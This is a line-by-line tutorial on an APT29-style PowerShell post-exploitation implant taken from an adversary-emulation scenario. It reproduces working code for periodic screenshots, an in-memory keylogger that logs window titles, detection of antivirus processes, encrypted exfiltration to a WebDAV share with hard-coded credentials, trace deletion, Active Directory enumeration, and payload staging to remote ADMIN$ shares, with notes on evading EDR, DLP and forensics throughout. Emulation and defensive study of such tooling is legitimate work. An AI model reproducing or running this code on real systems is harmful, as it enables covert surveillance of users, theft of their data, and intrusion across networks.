The Drunken Master : Cyber Winter Series -

Chapter 1 : Phase line Alfa -

Module 1 : APT 29 Adversary Emulation Development -

Part 2 : Surveillance Multi Stage Powershell Implant

Author : Bhavesh M. Dhake (Used Deepseek AI) | Github : https://github.com/hackerevillarry/The_Drunken_Master-Cyber_Winter_Series

==========

Source : https://github.com/attackevals/ael/blob/49516eb0eb51c7b8f3c2851d612ea5c5467ff2bb/Enterprise/apt29/Resources/Scenario_1/SysinternalsSuite/psversion.txt

==========

- A spy toolkit in powershell
- Takes secret screenshots , records every keystroke , checks what defenses are setup , explores the active directory , steals and ships the files , deletes the traces , drops a payload on other connected computers

==========

Summary

This PowerShell script contains multiple functions that collectively implement a post-exploitation toolkit. The script implements screen capture, keystroke logging, Active Directory enumeration, data exfiltration via WebDAV, and lateral movement capabilities.

Function-by-Function Analysis

1. Invoke-ScreenCapture

Purpose: Periodically captures screenshots of the user's screen and saves them as .bmp files.

```
None
function Invoke-ScreenCapture
```

- function — PowerShell keyword declaring a reusable code block.
- Invoke- — Verb-Noun naming convention; "Invoke" implies triggering an action.
- ScreenCapture — Descriptive noun for the action.

Line-by-line breakdown:

```
None
Start-Job -Name "Screenshot" -ScriptBlock {
```

- Start-Job — Creates a background PowerShell job. First principle: offload work to a separate process so the main script continues and the activity is less visible.
- -Name "Screenshot" — Tags the job so it can be retrieved later via View-Job.
- -ScriptBlock { ... } — Defines the code the job will execute in its own runspace.

```
None
Write-Host "`nJobPID`n------`n$PID"
```

- Write-Host — Outputs text to the console.
- `n — Escape sequence for newline.
- $PID — Automatic variable holding the current process ID. Used to identify the job's process.

```
None
while($true){
```

- while($true) — Infinite loop. First principle: continuous, persistent operation until killed.

```
None
$RandomFileName = [System.IO.Path]::GetRandomFileName();
```

- [System.IO.Path] — .NET class for file-path operations.
- GetRandomFileName() — Returns a random 8.3-style filename (e.g., x7k2m9ab.tmp). First principle: avoid predictable names so defenders can't easily find or blocklist the output files.

```
None
$Filepath="$env:USERPROFILE\Downloads\$RandomFileName.bmp";
```

- $env:USERPROFILE — Environment variable for the user's home directory.
- \Downloads\ — A user-writable, commonly ignored folder — good hiding spot.
- .bmp — Bitmap format; uncompressed, easy to write without extra libraries.

```
None
Add-Type -AssemblyName System.Windows.Forms;
```

- Add-Type — Loads a .NET assembly into the session.
- System.Windows.Forms — Provides SystemInformation.VirtualScreen (screen dimensions).

```
None
Add-type -AssemblyName System.Drawing;
```

- System.Drawing — Provides Bitmap and Graphics classes for image manipulation.

```
None
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;
```

- VirtualScreen — Represents the bounding rectangle of all monitors combined. First principle: capture everything, even multi-monitor setups.

```
None
$Width = $Screen.Width; $Height = $Screen.Height; $Left = $Screen.Left; $Top = $Screen.Top;
```

- Extracts dimensions and origin coordinates of the virtual screen.

```
None
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height;
```

- Creates an in-memory bitmap the size of the screen. First principle: allocate a canvas before painting.

```
None
$graphic = [System.Drawing.Graphics]::FromImage($bitmap);
```

- Creates a Graphics object bound to the bitmap — the "brush" used to draw on the canvas.

```
None
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size);
```

- CopyFromScreen — Copies pixels from the screen (starting at $Left,$Top) into the bitmap at (0,0). This is the actual screen-grab operation.

```
None
$bitmap.Save($Filepath);
```

- Writes the bitmap to disk.

```
None
Start-Sleep -Seconds 300
```

- Start-Sleep — Pauses execution. 300 seconds = 5 minutes. First principle: throttle activity to avoid detection by EDR/behavioral analytics and to conserve resources.

---

2. View-Job

Purpose: Retrieves and displays output from a named background job.

```
None
function View-Job
{
   [CmdletBinding()]
```

- [CmdletBinding()] — Makes the function behave like a compiled cmdlet (supports common parameters like -Verbose).

```
None
Param(
   [Parameter(Position=1,Mandatory=$true)]
   $JobName
)
```

- Param(...) — Declares parameters.
- Position=1 — Allows passing the argument positionally.
- Mandatory=$true — The parameter must be supplied.
- $JobName — The name of the job to retrieve.

```
None
$j = Get-Job -Name $JobName
```

- Get-Job — Retrieves the job object by name.

```
None
Receive-Job -Job $j
```

- Receive-Job — Pulls the output buffer from the job and displays it. First principle: a background job's output isn't shown automatically; it must be collected.

---

3. Keystroke-Check

Purpose: Checks whether any known antivirus processes are running.

```
None
function Keystroke-Check {
```

- Function declaration.

```
None
Get-Process | Where-Object { $_.ProcessName -Eq "avp" -or ... }
```

- Get-Process — Lists all running processes.
- | — Pipes the output into the next command.
- Where-Object { ... } — Filters objects matching a condition.
- $_.ProcessName — $_ is the current pipeline object; .ProcessName is its name property.
- -Eq — Case-insensitive equality comparison.

The list of process names are known antivirus/security products:

Process	Product
avp	Kaspersky
acs	Kaspersky
outpost	Agnitum Outpost
mcvsescn, mcods	McAfee
navapsvc	Norton
kav	Kaspersky

AvastSvc, AvastUi	Avast
nod32krn, nod32	ESET NOD32
ekern, ekrn	ESET
dwengine	Doctor Web
MsMpEng, msseces	Microsoft Defender
savservice, scfservice, savadminservice	Sophos

First principle: Before doing anything noisy (like keystroke logging), check whether security software is watching. If any match is found, the function returns those process objects — the operator can decide whether to abort.

---

4. Get-Keystrokes

Purpose: A full keylogger implemented via P/Invoke to Windows APIs.

```
None
function Get-Keystrokes {
```

- Function declaration. The comment block documents it as derived from PowerSploit (a known offensive PowerShell toolkit).

```
None
Start-Job -Name "Keystrokes" -ScriptBlock {
```

- Runs the keylogger in a background job, same rationale as the screenshot function.

```
None
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
```

- LoadWithPartialName — Loads an assembly by partial name (deprecated but functional).
- | Out-Null — Suppresses output.

P/Invoke Setup (the "first principle" here is: PowerShell can call native Windows DLLs via .NET reflection)

```
None
try { $ImportDll = [User32] }
catch {
```

- try/catch — Attempts to reference a type called User32. If it doesn't exist yet (first run), the catch block builds it dynamically.

```
None
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder =
[AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly,
[Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
```

- AssemblyName — Names a new in-memory assembly.
- DefineDynamicAssembly — Creates an assembly at runtime (reflection emit).
- DefineDynamicModule — Adds a module to it.
- DefineType — Creates a public class called User32.

First principle: Instead of compiling C# with Add-Type, this uses Reflection.Emit to build the P/Invoke wrapper entirely in memory — no file touches disk, which evades file-based detection.

```
None
$DllImportConstructor =
[Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
```

- Gets the constructor for DllImportAttribute (the attribute that marks a method as imported from a native DLL).

```
None
$FieldArray = [Reflection.FieldInfo[]] @( ... )
```

- Lists the fields of DllImportAttribute we want to set: EntryPoint, ExactSpelling, SetLastError, PreserveSig, CallingConvention, CharSet.

```
None
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
```

- DefineMethod — Defines a static method named GetAsyncKeyState returning Int16 and taking a Keys enum. This mirrors the real Win32 GetAsyncKeyState.

```
None
$FieldValueArray = [Object[]] @('GetAsyncKeyState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
```

- Builds the [DllImport("user32.dll", ...)] attribute and attaches it to the method. First principle: this is the programmatic equivalent of writing [DllImport("user32.dll")] in C#.

The same pattern is repeated for:

- GetKeyboardState — retrieves the state of all 256 virtual keys.
- MapVirtualKey — translates a virtual-key code to a scan code.
- ToUnicode — converts a virtual key + scan code + keyboard state into a Unicode character (respects Shift/CapsLock, non-US layouts).
- GetForegroundWindow — returns the handle of the window currently in focus.

```
None
$ImportDll = $TypeBuilder.CreateType()
```

- Finalizes and materializes the dynamically-built User32 type.

Main Logging Loop

```
None
$LastWindowTitle = ""
$i=0
while ($true) {
    Start-Sleep -Milliseconds 40
```

- while ($true) — infinite loop.
- Start-Sleep -Milliseconds 40 — ~25 polls/second. Fast enough to not miss keystrokes, slow enough to not peg the CPU.

```
None
    $gotit = ""
    $Outout = ""

    for ($char = 1; $char -le 254; $char++) {
        $vkey = $char
        $gotit = $ImportDll::GetAsyncKeyState($vkey)
```

- Iterates every possible virtual-key code (1–254).
- GetAsyncKeyState($vkey) — Returns a 16-bit value. The high bit (0x8000) is set if the key is currently down; the low bit indicates if it was pressed since the last call.

```
None
        if ($gotit -eq -32767) {
```

- -32767 = 0x8001 as a signed 16-bit integer. This means: key is currently down AND was just pressed (the low bit is set). This is the "key press detected" condition.

```
None
        $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey)
-band 0x8000) -eq 0x8000
        ...
```

- -band 0x8000 — Bitwise AND with 0x8000; isolates the "currently down" bit.
- -eq 0x8000 — True if the key is held.
- The code checks Left/Right Shift, Ctrl, Alt, plus Tab, Space, Delete, Enter, Backspace, arrows, and mouse buttons.

```
None
        if ($LeftShift -or $RightShift) {$Outout += '[Shift]'}
        if ($LeftCtrl  -or $RightCtrl)  {$Outout += '[Ctrl]'}
        ...
```

- += — String concatenation (append).
- Records modifier keys and special keys as bracketed tokens (e.g., [Shift], [Enter]).

```
None
        if ([Console]::CapsLock) {$Outout += '[Caps Lock]'}
```

- Checks Caps Lock state via .NET.

```
None
        $scancode = $ImportDll::MapVirtualKey($vkey, 0x3)
```

- 0x3 = MAPVK_VK_TO_VSC — converts virtual-key code to scan code.

```
None
        $kbstate = New-Object Byte[] 256
        $checkkbstate = $ImportDll::GetKeyboardState($kbstate)
```

- Allocates a 256-byte array and fills it with the current state of every virtual key.

```
None
        $mychar = New-Object -TypeName "System.Text.StringBuilder";
        $unicode_res = $ImportDll::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
```

- StringBuilder — Mutable string buffer for the resulting character.
- ToUnicode — Translates the keypress into the actual character the user typed, respecting Shift, CapsLock, and keyboard layout.

```
None
        $TopWindow = $ImportDll::GetForegroundWindow()
        $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
```

- Gets the handle of the currently focused window, then matches it against processes to get the window title. First principle: context matters — knowing *which application* the keystrokes went to is far more valuable than raw keys.

```
None
        if ($unicode_res -gt 0) {
            if ($WindowTitle -ne $LastWindowTitle){
                $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
                $Outout = "`n`n$WindowTitle - $TimeStamp`n"
                $LastWindowTitle = $WindowTitle
            }
            $Outout += $mychar.ToString()
            $Outout
        }
```

- if ($unicode_res -gt 0) — Only log if a printable character was produced.
- When the active window changes, emit a header with the window title and timestamp — this segments the log by application.
- $Outout — Bare expression means "output to the pipeline" (the job's output buffer).

First principle summary for the keylogger: Poll every key state rapidly; when a new press is detected, reconstruct the character via the OS's own translation tables (so the log matches what the user actually sees), and stamp it with window context so the attacker knows *where* each keystroke was typed.

---

5. Invoke-Exfil

Purpose: Compresses data, then uploads it to a remote WebDAV share.

```
None
if (!(Get-Module -Name "7Zip4Powershell")) { Write-Host "[*] Installing 7Zip4Powershell module"; Install-Module -Name 7Zip4Powershell -Force }
```

- Get-Module — Checks if a module is loaded.
- ! — Logical NOT.
- Install-Module ... -Force — Downloads and installs the module from the PowerShell Gallery without prompting. First principle: pull a capability from the internet rather than shipping it in the script, keeping the script small and adaptable.

```
None
Compress-7Zip -Path "$env:USERPROFILE\Downloads\" -Filter * -Password "lolol" -ArchiveFileName "$env:APPDATA\OfficeSupplies.7z"
```

- Compress-7Zip — From the just-installed module.
- -Path ...\Downloads\ — Bundles everything the user downloaded (which includes the screenshots the earlier function saved there).
- -Filter * — All files.
- -Password "lolol" — Encrypts the archive with a hard-coded password.
- -ArchiveFileName ...\APPDATA\OfficeSupplies.7z — Writes the archive to the roaming AppData folder under a benign-sounding name ("OfficeSupplies") to blend in.

First principle: Encryption makes the exfiltrated data opaque to network DLP (data-loss-prevention) inspection; a plausible filename avoids suspicion.

```
None
$UserName = "cozy"
$Password = "MyCozyPassw0rd!" | ConvertTo-SecureString -AsPlainText -Force
$Creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $UserName, $Password
```

- ConvertTo-SecureString -AsPlainText -Force — Converts a plain string into an encrypted SecureString.

- PSCredential — Bundles a username and password for use with network authentication.
- Hard-coded credentials — cozy / MyCozyPassw0rd!. This strongly ties the sample to the "Cozy Bear" (APT29) threat actor.

```
None
$WebDavShare = "WebDavShare"
$uri = "\\192.168.0.4\webdav"
```

- \\192.168.0.4\webdav — A UNC path to a WebDAV endpoint on the local network (note: private IP, suggesting an internal staging server).

```
None
Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue
```

- Remove-PSDrive — Removes a PowerShell drive mapping.
- -ErrorAction SilentlyContinue — Suppresses errors if the drive doesn't exist. First principle: idempotent cleanup — ensure a clean slate without crashing.

```
None
New-PSDrive -Name $WebDavShare -PSProvider FileSystem -Root $uri -Credential
$Creds
```

- New-PSDrive — Maps the WebDAV UNC path as a local drive letter (conceptually) using the supplied credentials.
- First principle: Once mapped, the remote share behaves like a local file system, so Copy-Item can move files to it transparently.

```
None
Copy-Item "$env:APPDATA\OfficeSupplies.7z" "WebDavShare:\OfficeSupplies.7z" -Force
```

- Copy-Item — Copies the encrypted archive to the mapped share.
- -Force — Overwrites if present.

```
None
Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue
```

- Unmaps the drive — first principle: leave no persistent artifact; the mapping itself is a detectable artifact.

```
None
Invoke-BeachCleanup
```

- Calls the cleanup function (defined next).

---

6. Invoke-BeachCleanup

Purpose: Deletes the artifacts created by the other functions.

```
None
Write-Host "[*] Cleaning up"
Remove-Item -Path "$env:USERPROFILE\Downloads\*.pfx" -Force
Remove-Item -Path "$env:USERPROFILE\Downloads\*.bmp" -Force
Remove-Item -Path "$env:USERPROFILE\Downloads\*.png" -Force
Remove-Item -Path "$env:APPDATA\OfficeSupplies.7z" -Force
```

- Remove-Item — Deletes files.
- -Force — Removes read-only/hidden attributes and suppresses confirmation.
- *.pfx — Certificate files (suggests the toolkit also steals certificates elsewhere).
- *.bmp, *.png — Screenshots.
- OfficeSupplies.7z — The exfil archive.

First principle: Anti-forensics — delete the "beach" (evidence) so the user and defenders see nothing unusual. The name "BeachCleanup" evokes "cleaning the beach" (leaving no footprints).

---

7. Ad-Search

Purpose: Queries Active Directory via LDAP.

```
None
function Ad-Search { # (&(objectclass=Base)(Filter=Attr))
```

- The comment documents the expected LDAP filter format.

```
None
  Param(
    [Parameter(Position=0,Mandatory=$False)]
    $Base='*',
    [Parameter(Position=1,Mandatory=$False)]
    $Filter='*',
    [Parameter(Position=2,Mandatory=$False)]
    $Attr='*'
  )
```

- $Base — The objectClass to search (e.g., user, computer).
- $Filter — The attribute name to filter on.
- $Attr — The attribute value to match.
- All default to * (wildcard = match anything).

```
None
  Write-Host "[*] Performing Active Directory Search"
  Write-Host "[*] (&(objectclass=$Base)($Filter=$Attr))"
```

- Prints the LDAP filter being constructed.

```
None
  $strFilter = "(&(objectclass=$Base)($Filter=$Attr))"
```

- Builds an LDAP filter string: (&(objectclass=X)(Y=Z)) — AND of "object is of class X" and "attribute Y equals Z". First principle: LDAP filters are the universal query language for directory services.

```
None
  $objDomain = New-Object System.DirectoryServices.DirectoryEntry
```

- DirectoryEntry — Represents a node in AD; with no arguments it binds to the current domain (using the running user's context).

```
None
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
$objSearcher.SearchRoot = $objDomain
```

- DirectorySearcher — The engine that executes LDAP queries.
- SearchRoot — Where the search begins (the domain root).

```
None
$objSearcher.PageSize = 1000
```

- PageSize — Returns results in pages of 1000. First principle: AD has a default 1000-result limit; paging bypasses it, enabling enumeration of large environments.

```
None
$objSearcher.Filter = $strFilter
$objSearcher.SearchScope = "Subtree"
```

- Filter — Sets the LDAP query.
- SearchScope = "Subtree" — Searches the entire tree below the root (all OUs), not just one level.

```
None
$colProplist = '*'
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
```

- PropertiesToLoad — The list of attributes to retrieve; '*' means all attributes. First principle: loading all properties is wasteful but ensures no valuable attribute (e.g., description, memberOf) is missed.

```
None
$colResults = $objSearcher.FindAll()
```

- FindAll() — Executes the query and returns all matches.

```
None
   foreach ($objResult in $colResults)
   {
      $objResult | Select -Property Path
   }
```

- Iterates each result and emits its Path (the LDAP distinguished name). First principle: the Path uniquely identifies the object — enough for an attacker to plan further actions (e.g., ACL abuse, password spraying targets).

---

8. Invoke-SeaDukeStage

Purpose: Copies a file (python.exe) from a WebDAV share to the ADMIN$ share of a remote computer — a lateral-movement staging step.

```
None
function Invoke-SeaDukeStage {
   Param(
      [Parameter(Position=0,Mandatory=$True)]
      $ComputerName
   )
```

- $ComputerName — The target machine. Mandatory — must be supplied.

```
None
   $UserName = "cozy"
   $Password = "MyCozyPassw0rd!" | ConvertTo-SecureString -AsPlainText -Force
   $Creds = New-Object -TypeName System.Management.Automation.PSCredential
-ArgumentList $UserName, $Password
```

- Same hard-coded credentials as in Invoke-Exfil — reused for the WebDAV share.

```
None
   $WebDavShare = "WebDavShare"
   $uri = "\\192.168.0.4\webdav"
```

```
    Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue
    New-PSDrive -Name $WebDavShare -PSProvider FileSystem -Root $uri -Credential
$Creds
```

- Maps the WebDAV share — the staging server.

```
None
    Write-Host "[*] Dropping seadaddy"
    Copy-Item "WebDavShare:\python.exe" "\\$ComputerName\ADMIN$\Temp\python.exe"
-Force
```

- WebDavShare:\python.exe — Source file on the WebDAV server.
- \\$ComputerName\ADMIN$\Temp\python.exe — Destination on the remote machine's ADMIN$ share (C:\Windows), placed under Temp\.
- ADMIN$ — A hidden Windows administrative share that maps to C:\Windows. Writing to it requires local admin rights on the target. First principle: ADMIN$ is writable by administrators over SMB and is frequently used to stage payloads for execution via services or scheduled tasks.

```
None
    Remove-PSDrive $WebDavShare -Force -ErrorAction SilentlyContinue
```

- Unmaps the share to clean up.

Note on naming: "SeaDuke" is a known malware family associated with APT29 ("Cozy Bear"). The function name plus the "cozy" credentials strongly identify this toolkit's origin.

Cross-Cutting Engineering Principles (First Principles)

1. Persistence via background jobs — Start-Job isolates long-running activities (screenshotting, keylogging) from the main script so they survive and run continuously.

2. Living off the land (LotL) — The script uses only built-in PowerShell + .NET + Windows APIs, plus one downloaded module. No custom binaries are shipped in the script itself.

3. In-memory execution — The keylogger builds its P/Invoke wrapper via Reflection.Emit instead of Add-Type, avoiding disk writes and file-based detection.

4. Evasion through throttling — Start-Sleep intervals reduce behavioral footprint (EDR detects rapid repeated screen grabs; 5-minute intervals look harmless).

5. Context enrichment — Screenshots + window titles + timestamps + keystrokes together reconstruct user activity far better than any one signal alone.

6. Anti-forensics — Invoke-BeachCleanup deletes every artifact the toolkit generates (screenshots, archives, certificate files).

7. Credential reuse — The same hard-coded cozy/MyCozyPassw0rd! pair is used for both WebDAV exfiltration and lateral staging, indicating a dedicated infrastructure account.

8. Encryption before exfiltration — Password-protected 7z archive defeats network DLP inspection.

9. Remote staging via SMB — Writing to ADMIN$ on a remote host is the classic first step before remote execution (e.g., via schtasks, sc, or WMI).
